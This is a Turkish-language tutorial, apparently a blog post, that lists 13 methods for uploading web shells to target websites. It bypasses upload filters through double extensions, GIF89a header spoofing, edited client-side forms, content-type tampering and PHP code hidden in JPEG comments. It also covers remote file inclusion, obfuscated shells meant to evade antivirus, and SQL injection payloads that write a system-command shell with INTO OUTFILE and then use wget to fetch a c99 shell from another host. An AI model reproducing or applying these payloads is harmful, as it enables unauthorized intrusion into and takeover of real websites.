Shell Atma Yöntemleri

Birçok kişi bir siteye erişim elde ettikten sonra Shell atmaya calisir. Ancak birkaç yöntem denemesine rağmen başaramaz ve pes eder. Bu konuda sizlere 20 temel Shell atma yöntemini anlatacagim. Bu 20 yöntem sayesinde siz isterseniz bu sayiyi 40, 50 yapabilirsiniz.

1. Yontem
Bazi eski sitelerde sadece script tabanli dosya uzanti kontrolu yapilir. Bu kontrolu asmak icin scriptin sonuna .gif, .jpg, .doc, .html gibi uzantilar eklenerek bu sinirlama asilabilir. Ornegin; atmak istediginiz shell adi solver.php ise dosya adini solver.php.jpg seklinde degistirerek bu yontemi deneyebilirsiniz.

2. Yontem
Eger WAF veya antivirus shell atmanizi engelliyorsa, oncelikle basit birkac satirdan olusan bir uploader script yuklemeyi deneyin. Uploader’i yukledikten sonra shellinizi atmayi deneyin.

3. Yontem
Bazi guvenlik duvarlari yuklenecek dosyanin basligini kontrol ederek izin verilip verilmeyecegine bakabilir. Boyle bir guvenligi bypass etmek icin yuklemek istediginiz shell’i notepad ile acin ve en ust satira GIF89a; yazin. Bu sekilde server’i dosyanin bir gif resmi olduguna inandirabilirsiniz. Bu yontemi 1 numarali yontemle birlestirirseniz sansiniz daha da artar.

4. Yontem
Bazi sitelerde sunucu tabanli yerine istemci tabanli guvenlik onlemleri bulunur. Boyle bir durumda Firefox’un Firebug eklentisini indirin ve upload formunu yeniden duzenleyin. Asagida ornek bir upload formunu goreceksiniz:

Bu formdaki accept=”*.jpg” filtresini accept=”*.*” seklinde degistirin. Bu sekilde uzanti kontrolunu asabilirsiniz.

5. Yontem
Firefox’u acin ve LIVE HTTP HEADERS eklentisini indirin. Shell’inizin adini solver.php.jpg (ya da hangi uzantiyi kabul ediyorsa) seklinde degistirin. Daha sonra Firefox’u ve Live HTTP Headers eklentisini acin, shellinizi upload edin. Asagidaki gibi bir goruntu alacaksiniz:

solver.php.jpg yazisina tiklayin ve asagidaki “Reply” butonuna basin. Daha sonra yeni bir pencere acilacak:

Kirmiziyla gosterilen yerde dosya adinin sonundaki .jpg uzantisini silin. Reply tusuna basarak HTTP POST istegini gonderin. Shell’iniz solver.php adiyla yuklenecektir.

6. Yontem
edjpgcom.exe programini indirin. (https://perlscriptsdb.googlecode.com/files/edjpgcom.exe) Bu program Windows uzerinde calisir ve JPG, JPEG dosyalarina JPEG Comment eklemeye yarar. Programin kullanimi su sekildedir:
Programi masaustunde bir klasore kopyalayin. Daha sonra ayni klasore istediginiz bir JPG resim dosyasini kopyalayin. Resim dosyasini surukleyip programin ustune birakin. Programin acildigini ve bos bir kutu oldugunu goreceksiniz. Bu bos kutu icerisine shell kodlarinizi yazin. Ancak burada dikkat etmeniz gereken sey sudur: Butun bir shell’i oraya sigdiramazsiniz. O yuzden ufak cmd kodunu deneyin.
“; system($_GET[’cmd’]); echo ?>

7. Yontem
Server’i kandirmanin bir baska yolu da icerik tipi degistirmekten gecer. Firefox’un Tamper Data eklentisini indirin ve kurun. Daha sonra eklentiyi acip Start Tamper butonuna basin. Shell’inizi upload edin. Tamper data eklentisi hemen bir uyari verecektir. Bu uyarida “Tamper” butonuna tiklayin.

Asagidaki gibi bir goruntu cikacaktir:

Cikan penceredeki post_data’yi oldugu gibi kopyalayin ve not defterine yapistirin. Icerisindeki butun application/octet-stream yazilarini bulup bunlari image/gif ya da image/jpg seklinde degistirin. Daha sonra degismis haliyle oldugu gibi eski yerine yapistirarak submit butonuna tiklayin. Bu sekilde serveri, dosyanizin resim dosyasi olduguna inandirabilirsiniz.

8. Yontem
Yukaridaki butun bu yontemler sitede bir upload butonu buldugunuzda calisabilir. Ancak bazen hicbir upload formu bulamazsiniz. Bu durumda da admin panelinde direk olarak dosyalari duzenleyen yerleri arayin. Ornegin panelde 404 sayfasini duzenleyen bir bolum buldunuz. Hemen dosya icerisine php, asp kodlari yazarak dosyanin iceriginin degisip degismedigini kontrol edin. Eger degisiyorsa bu sekilde shell kodlarinizi yazip kaydedebilirsiniz.

9. Yontem
Bazi sitelerde de RFI yani uzaktan dosya calistirma acigi bulunmaktadir. Bu acigi bulursaniz, farkli bir siteye shell’inizi txt formatinda yukleyin. Daha sonra da uzaktan bu shell’i acik bulunan sitede cagirarak siteye shell atabilirsiniz. Ornegin:
http://www.hedefsite.com/index.php?...com/solver.txt

10. Yontem
Bazen server uzerinde guclu antivirusler ve guvenlik duvarlari bulunur. Siz shell’inizi upload etseniz bile bunlar yakalar ve hemen silerler. Bu gibi durumlarda yapmaniz gereken Undetected bir shell bulmaktir. eval(gzinflate(base64_decode(, ya da preg_replace(”/.*/e”,”\\\\\\\\x65\\\\\\\\x76\\\\\\\\x61\\\\\\\\x6C\\ \\\\\\x28\\\\\\\\x67\\\\\\\\x7A\\\\\\\\x69\\\\\\\\ x6E\\\\\\\\x66\\\\\\\\x6C\\\\\\\\x61\\\\\\\\x74\\\ \\\\\x65\\\\\\\\x28\\\\\\\\x62\\\\\\\\x61\\\\\\\\x 73\\\\\\\\x65\\\\\\\\x36\\\\\\\\x34\\\\\\\\x5F\\\\ \\\\x64\\\\\\\\x65\\\\\\\\x63\\\\\\\\x6F\\\\\\\\x6 4\\\\\\\\x65\\\\\\\\x28’ seklinde baslayan sifrelenmis bir shell bulursaniz bu sorunu cozebilirsiniz. Ancak dikkat etmeniz gereken sey, bu sekilde sifrelenmis shelllerin icerisinde genellikle logger bulunur. Kullanmadan once bunlari temizlemeniz gerekir.

11. Yontem
Diyelimki sitede bir SQL Injection acigi buldunuz. Bu acigi kullanarak shell atmaniz mumkundur. bunun icin su sekilde calisin:
http://www.hedefsite.com/index.php?id=2 adresinde sql injection olsun.
http://www.hedefsite.com/index.php?id=2+order+by+6– diyerek kolon sayimizi buluyoruz.
http://www.hedefsite.com/index.php?...t+1,2,3,4,5,6– yazarak hangi kolondan komut yurutecegimize bakalim.
http://www.hedefsite.com/index.php?...nt_user,4,5,6– diyerek mevcut kullanici adini ogreniyoruz. Diyelimki SOLVER olsun.
http://www.hedefsite.com/index.php?...ROM+mysql.user WHERE+user=’SOLVER’– komutuyla kullanicinin gerekli izinleri varmi diye kontrol ediyoruz. Cikan sonucta Y yazarsa yetki vardir. Yoksa bu yontemi denemeyin. Biz var oldugunu dusunelim.
Simdi sitenin server uzerindeki yolunu ogrenin. Bunu yapmanin bircok yolu var. En basitinden SQL Injection yaparken bir hata alirsaniz oradan bulabilirsiniz. Ornegin “/home/hedefsite.com/public_html” bizim yolumuz olsun.
Daha sonra site uzerinde yazma yetkisi olan bir dizin bulmamiz gerekli. Genellikle image dizinlerinin yazma yetkisi vardir.
Artik shell yazma komutumuza gecebiliriz:
http://www.hedefsite.com/index.php?id=-2+union+all+select+1,2,<?system($_REQUEST[’cmd’]);?>,4,5,6+into+outfile+’/home/hedefsite.com/public_html/images/solver.php’–
Shell dosyamiza http://www.hedefsite.com/images/solver.php seklinde erisebiliriz.
Site uzerinde komut calistirmak için http://www.hedefsite.com/images/solver.php?cmd=pwd ya da http://www.hedefsite.com/images/solver.php?cmd=uname -a gibi linux komutlari deneyebiliriz.
Daha kapsamli bir shell atmak icin ise http://www.hedefsite.com/images/solver.php?cmd=wget http://www.shellsitesi.com/c99.txt komutu ile hedef siteye shell cagirabilirip kaydedebilirsiniz.
Daha sonra bu kaydettigimiz txt formatindaki shell’i http://www.hedefsite.com/images/solver.php?cmd=mv c99.txt c99.php komutuyla php formatina donusturup erisebilirsiniz.

12. Yontem
Eger sitenin phpMyAdmin paneline erisebilirseniz ve mevcut kullanicinin yazma yetkisi varsa buradan da shell atabilirsiniz.
Ayni bir onceki gibi sitenin serverdaki yolunu buluyoruz. Daha sonra asagidaki gibi SQL butonuna basiyoruz:

Cikan bos yere asagidaki komutu giriyoruz:
SELECT “<?system($_REQUEST[’cmd’]);?>” INTO OUTFILE “/home/hedefsite.com/public_html/images/solver.php”
Daha sonra da “Git” butonuna tiklayarak SQL kodunu calistiriyoruz. Artik cmd shell’imizi siteye yazdirdik:
http://www.hedefsite.com/images/solver.php
Bir onceki yontem gibi uzaktan txt shell cagirip daha sonra adini degistirerek tam erisim sahibi olabilirsiniz.

13. Yontem
Bazi sitelerin FTP girisleri oldukca guvensizdir. Sifreleri kolayca tahmin edilebilir ya da bazen anonymous girisleri acik olur. Bu gibi durumlarda siteye direk FTP ile baglanilarak shell upload edilebilir.

Yorumlar 0